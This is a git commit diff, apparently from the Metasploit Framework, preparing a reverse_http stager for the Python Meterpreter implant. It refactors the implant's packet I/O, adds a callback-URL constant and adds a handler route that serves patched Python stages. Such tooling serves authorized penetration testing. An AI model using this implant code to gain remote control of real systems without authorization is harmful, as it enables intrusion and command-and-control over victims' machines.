Prepare for a reverse_http stager
This commit is contained in:
parent
57aef9a6f5
commit
6b2387b7fc
|
@ -18,6 +18,13 @@ except ImportError:
|
|||
else:
|
||||
has_windll = hasattr(ctypes, 'windll')
|
||||
|
||||
try:
|
||||
import urllib
|
||||
except ImportError:
|
||||
has_urllib = False
|
||||
else:
|
||||
has_urllib = True
|
||||
|
||||
if sys.version_info[0] < 3:
|
||||
is_bytes = lambda obj: issubclass(obj.__class__, str)
|
||||
bytes = lambda *args: str(*args[:1])
|
||||
|
@ -30,6 +37,7 @@ else:
|
|||
#
|
||||
# Constants
|
||||
#
|
||||
CONNECTION_URL = None
|
||||
DEBUGGING = False
|
||||
|
||||
PACKET_TYPE_REQUEST = 0
|
||||
|
@ -284,7 +292,7 @@ class STDProcess(subprocess.Popen):
|
|||
export(STDProcess)
|
||||
|
||||
class PythonMeterpreter(object):
|
||||
def __init__(self, socket):
|
||||
def __init__(self, socket=None):
|
||||
self.socket = socket
|
||||
self.extension_functions = {}
|
||||
self.channels = {}
|
||||
|
@ -318,19 +326,29 @@ class PythonMeterpreter(object):
|
|||
self.processes[idx] = process
|
||||
return idx
|
||||
|
||||
def get_packet(self):
|
||||
request = None
|
||||
if len(select.select([self.socket], [], [], 0.5)[0]):
|
||||
request = self.socket.recv(8)
|
||||
if len(request) != 8:
|
||||
self.running = False
|
||||
return None
|
||||
req_length, req_type = struct.unpack('>II', request)
|
||||
req_length -= 8
|
||||
request = bytes()
|
||||
while len(request) < req_length:
|
||||
request += self.socket.recv(4096)
|
||||
return request
|
||||
|
||||
def send_packet(self, response):
|
||||
self.socket.send(response)
|
||||
|
||||
def run(self):
|
||||
while self.running:
|
||||
if len(select.select([self.socket], [], [], 0.5)[0]):
|
||||
request = self.socket.recv(8)
|
||||
if len(request) != 8:
|
||||
break
|
||||
req_length, req_type = struct.unpack('>II', request)
|
||||
req_length -= 8
|
||||
request = bytes()
|
||||
while len(request) < req_length:
|
||||
request += self.socket.recv(4096)
|
||||
request = self.get_packet()
|
||||
if request:
|
||||
response = self.create_response(request)
|
||||
self.socket.send(response)
|
||||
self.send_packet(response)
|
||||
else:
|
||||
# iterate over the keys because self.channels could be modified if one is closed
|
||||
channel_ids = list(self.channels.keys())
|
||||
|
@ -370,7 +388,7 @@ class PythonMeterpreter(object):
|
|||
pkt += tlv_pack(TLV_TYPE_PEER_HOST, inet_pton(client_sock.family, client_addr[0]))
|
||||
pkt += tlv_pack(TLV_TYPE_PEER_PORT, client_addr[1])
|
||||
pkt = struct.pack('>I', len(pkt) + 4) + pkt
|
||||
self.socket.send(pkt)
|
||||
self.send_packet(pkt)
|
||||
if data:
|
||||
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
|
||||
pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_write')
|
||||
|
@ -379,7 +397,7 @@ class PythonMeterpreter(object):
|
|||
pkt += tlv_pack(TLV_TYPE_LENGTH, len(data))
|
||||
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
|
||||
pkt = struct.pack('>I', len(pkt) + 4) + pkt
|
||||
self.socket.send(pkt)
|
||||
self.send_packet(pkt)
|
||||
|
||||
def handle_dead_resource_channel(self, channel_id):
|
||||
del self.channels[channel_id]
|
||||
|
@ -390,7 +408,7 @@ class PythonMeterpreter(object):
|
|||
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
|
||||
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
||||
pkt = struct.pack('>I', len(pkt) + 4) + pkt
|
||||
self.socket.send(pkt)
|
||||
self.send_packet(pkt)
|
||||
|
||||
def _core_loadlib(self, request, response):
|
||||
data_tlv = packet_get_tlv(request, TLV_TYPE_DATA)
|
||||
|
@ -546,5 +564,8 @@ if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0):
|
|||
os.setsid()
|
||||
except OSError:
|
||||
pass
|
||||
met = PythonMeterpreter(s)
|
||||
if CONNECTION_URL and has_urllib:
|
||||
met = PythonMeterpreter(s)
|
||||
else:
|
||||
met = PythonMeterpreter(s)
|
||||
met.run()
|
||||
|
|
|
@ -194,6 +194,27 @@ protected
|
|||
|
||||
# Process the requested resource.
|
||||
case uri_match
|
||||
when /^\/INITPY/
|
||||
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
|
||||
url = payload_uri + conn_id + '/'
|
||||
|
||||
blob = ""
|
||||
blob << obj.generate_stage
|
||||
|
||||
# Patch the conn_id
|
||||
blob = blob.sub("CONNECTION_URL = None", "CONNECTION_URL = '#{url}'")
|
||||
|
||||
resp.body = blob
|
||||
|
||||
# Short-circuit the payload's handle_connection processing for create_session
|
||||
create_session(cli, {
|
||||
:passive_dispatcher => obj.service,
|
||||
:conn_id => conn_id,
|
||||
:url => url,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:ssl => ssl?,
|
||||
})
|
||||
when /^\/INITJM/
|
||||
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
|
||||
url = payload_uri + conn_id + "/\x00"
|
||||
|
@ -223,7 +244,6 @@ protected
|
|||
})
|
||||
|
||||
when /^\/A?INITM?/
|
||||
|
||||
url = ''
|
||||
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{req.relative_resource} received...")
|
||||
|
|
|
@ -8,8 +8,9 @@ module Msf
|
|||
# Define 8-bit checksums for matching URLs
|
||||
# These are based on charset frequency
|
||||
#
|
||||
URI_CHECKSUM_INITW = 92
|
||||
URI_CHECKSUM_INITJ = 88
|
||||
URI_CHECKSUM_INITW = 92 # Windows
|
||||
URI_CHECKSUM_INITP = 80 # Python
|
||||
URI_CHECKSUM_INITJ = 88 # Java
|
||||
URI_CHECKSUM_CONN = 98
|
||||
|
||||
#
|
||||
|
@ -61,6 +62,8 @@ module Msf
|
|||
case uri_check
|
||||
when URI_CHECKSUM_INITW
|
||||
uri_match = "/INITM"
|
||||
when URI_CHECKSUM_INITP
|
||||
uri_match = "/INITPY"
|
||||
when URI_CHECKSUM_INITJ
|
||||
uri_match = "/INITJM"
|
||||
when URI_CHECKSUM_CONN
|
||||
|
|
Loading…
Reference in New Issue